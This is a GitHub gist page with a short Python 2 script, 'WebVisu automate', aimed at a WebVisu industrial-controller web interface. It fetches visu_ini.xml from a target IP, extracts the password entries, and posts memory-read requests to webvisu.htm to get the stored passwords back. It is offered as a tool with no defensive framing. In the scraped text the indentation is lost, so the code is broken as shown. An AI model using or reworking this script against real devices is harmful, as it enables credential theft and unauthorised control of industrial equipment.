Skip to content

Instantly share code, notes, and snippets.

@smarek smarek/webvisu.py
Last active Jun 1, 2018

Embed
What would you like to do?
WebVisu automate
#!/usr/bin/python
import requests #you might need to install requests separatelly
import sys
from IPy import IP
import re
if len(sys.argv) == 1:
print "Usage: webvisu.py <target ip address> <folder with webvisu.htm and visu_ini.xml>"
sys.exit(0)
try:
ip, separator, port = str(sys.argv[1]).partition(':')
IP(ip)
except ValueError:
print "IP address \"" + str(sys.argv[1]) + "\" is not valid"
sys.exit(1)
target_ip = str(sys.argv[1])
folder_path = str(sys.argv[2])
ini = requests.get("http://" + target_ip + "/" + folder_path + "/visu_ini.xml")
passwords = []
for line in ini.text.splitlines():
if "Password" in line:
stripline = re.search('>(.*)<', line).group(1)
passwords.append([stripline,line])
for mem in passwords:
req = "|0|1|0|" + mem[0].replace(",","|")
r = requests.post("http://" + target_ip + "/" + folder_path + "webvisu.htm", data=req)
print req
print mem[1]
print r.text
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.